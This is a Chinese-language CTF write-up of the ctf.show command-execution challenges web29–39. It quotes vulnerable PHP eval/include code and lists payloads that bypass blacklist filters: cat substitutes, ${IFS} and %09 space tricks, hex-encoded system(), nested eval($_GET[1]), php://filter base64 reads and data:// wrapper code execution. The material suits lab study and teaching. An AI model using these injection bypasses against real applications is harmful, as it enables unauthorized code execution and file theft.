Web入门(命令执行28-39)

web29(cat与cp命令和?的应用)*

方法:1

应用cp命令后直接查看flag

img

方法:2

img

web30(反引号``的应用)

img

img

web31(空格过滤,cat过滤)

img

cat过滤时,可以替代绕过的姿势

1.tac:从最后一行开始显示,是cat的反向显示

2.more:一页一页的显示档案内容

3.less:与more类似

4.head:查看文档的前几行

5.tail:查看文档的后几行

6.nl:显示的时候,顺便输入行号

7.od:以二进制的方式读取档案内容

8.vi:一种编辑器

9.uniq:查看

10.vim:一种编译器

空格过滤时,可以替代绕过的姿势

1.${IFS}

2.$IFS$1

3.${IFS

4.%20

5.<和<>重定向符

6.%09

img

img

再附上大佬们的payload

?c=eval($_GET[1]);&1=system('cat flag.php');嵌套脱离了c的正则判断

?c=echostrings%09f*;

?c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()。

web32(嵌套文件包含,利用伪协议文件包含,再base64解码)

没有分号,最后一个语句可以使用?>来绕,没有空格可以用%0a来绕过

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

img

但是如果直接包含flag.php,发现啥都没有,因为flag.php包含进去了,但是并没有输出,所以要用伪协议再base64解码

如果include被过滤了,可以用require来代替

img

gpt的解释

web33(伪协议)

<?php error_reporting(0); if(isset($GET['c'])){ $c = $GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|.| |'|`|echo|\;|(|"/i", $c)){ eval($c); } }else{ highlight_file(FILE); }

img

解码即可

web34~36(include)

其中36需要用字母(这里可以不用单引号,目的是为了向下兼容)

<?php error_reporting(0); if(isset($GET['c'])){ $c = $GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|.| |'|`|echo|\;|(|\:|"/i", $c)){ eval($c); } }else{ highlight_file(FILE);

不用括号的函数

echo print isset unset include require

$0a 换行的意思

这里用文件包含,然后继续用LFI

/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

img

web37(data协议)

<?php error_reporting(0); if(isset($GET['c'])){ $c = $GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(FILE); }

这里使用data协议,先试试能不能执行

img

?c=data://text/plain,<?php system("mv fla?.php 1.txt")?>

img

web38(短标签<?= ?>

data://text/plain,<?=system("mv fla?.php 1.txt")?>

web39(data)

http://9f117863-a5fd-4df5-a337-89a201ae1cf9.challenge.ctf.show/?c=data://text/plain,<?=system("tac fla?.php")?>